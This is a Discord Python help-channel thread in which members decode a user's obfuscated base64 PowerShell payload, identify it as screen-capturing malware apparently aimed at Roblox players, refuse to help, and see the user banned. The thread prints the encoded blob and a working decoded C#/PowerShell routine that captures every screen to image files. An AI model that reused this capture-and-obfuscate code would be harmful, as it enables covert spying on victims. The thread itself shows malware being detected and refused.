#🔒 I need help with python code

60 messages · Page 1 of 1 (latest)

brazen pierBOT
#

@sterile orbit

Python help channel opened

Remember to:

  • Ask your Python question, not if you can ask or if there's an expert who can help.
  • Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
  • Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

olive glen
#

send the code

#

!paste

brazen pierBOT
#
Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.

olive glen
#

how do you have a text file over 512kb????

#

send it in parts

#

yes

sinful pier
#

that's of course bad for any other person peeking in

olive glen
#

what are you trying to achieve with this?

#

you have a line thats 3600 characters long

#

i cant even paste the line on discord

pale rock
#

sounds like malware

olive glen
#

yeah

pale rock
#

then its malware

olive glen
#
command = "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4A
RwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQB
zADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAG
kAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAH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AZQBtAC
4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZ
QBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAK
ACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACI
ALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="  # U
nicode encoded command
#

just a single line of code

#

im not gonna run what you sent

willow rain
#

Decoded, this seems like obfuscation inside obfuscation.

[~]fleet2*> pbpaste|unb64
$source = @"
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.For��4(4(�������������L���������4(�4(������������������0�����@��0@P P00 PP�0�������`  P0P�@0��Pp@��@@�

�@@���@@���@@
             �@���@@;

        foreach (Screen screen in allScreens)
     ���4(���������������4(�������������4(����������������H����p�P �P�@0�00 PP�� �P�@0���P0��p� �@�@@�@@
�@�
   ��@
     �@�
        �@@�
@
           {
                    using (Graphics graphic��������������$�������������4(���������������������4(��%                                                                                  [~]fleet2*>
#

That's from the first chunk.

#

... and it seems to want to take screenshots of your screen. Creepy.

sinful pier
#

java code inside of php variable?

pale rock
#

it's c# actually

sinful pier
#

same difference 😛

#

"CaptureScreens"

olive glen
#

@sterile orbit are you trying to distribute malware?

#

!rule 5

brazen pierBOT
#

5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.

olive glen
#

i didnt even read the code until now

#

looks sus by just looking at it

willow rain
#

... and then send them somewhere by running an external command which, again, is obfuscated. Care to decode that base64 stuff from the screen shot @olive glen ?

sinful pier
#

oh so it's powershell, not php

willow rain
#

It shells out to powershell, to run.... something.

sinful pier
#

it seems to be utf-16le when decoded from base64

olive glen
#
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;

public class Screenshot
{
    public static List<Bitmap> CaptureScreens()
    {
        var results = new List<Bitmap>();
        var allScreens = Screen.AllScreens;

        foreach (Screen screen in allScreens)
        {
            try
            {
                Rectangle bounds = screen.Bounds;
                using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                {
                    using (Graphics graphics = Graphics.FromImage(bitmap))
                    {
                        graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);
                    }

                    results.Add((Bitmap)bitmap.Clone());
                }
            }
            catch (Exception)
            {
                // Handle any exceptions here
            }
        }

        return results;
    }
}
"@

Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms

$screenshots = [Screenshot]::CaptureScreens()


for ($i = 0; $i -lt $screenshots.Count; $i++){
    $screenshot = $screenshots[$i]
    $screenshot.Save("./Display ($($i+1)).png")
    $screenshot.Dispose()```
#

@willow rain there you go

willow rain
#

Ah, that's a clean version of the code from before.

sinful pier
#

anything that has a reason to hide the code that is run like that is highly suspicious

willow rain
#
#

There's no way this is not malware.

olive glen
pale rock
#

<@&831776746206265384> asking for help with malware 1247596350229450854

sinful pier
#

so first screenshots are taken, and then uploaded to some server?

#

nonsense

olive glen
#

what are you doing to roblox kids???

serene jolt
#

@sterile orbit We're not going to help with whatever this is. It's clear malicious and that's blatantly against our rules.

#

Don't ask about it again on this server.

willow rain
#

Same.

olive glen
#

58????

#

dont watch this

serene jolt
#

!cban 1247596350229450854 Malware and gore video

brazen pierBOT
#

:warning: The owner of this post is no longer in the server.

#

:incoming_envelope: :ok_hand: applied ban to @sterile orbit permanently.

olive glen
#

what did i just watch

serene jolt
#

Sorry about that y'all

#

!close

brazen pierBOT
#
Python help channel closed

This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.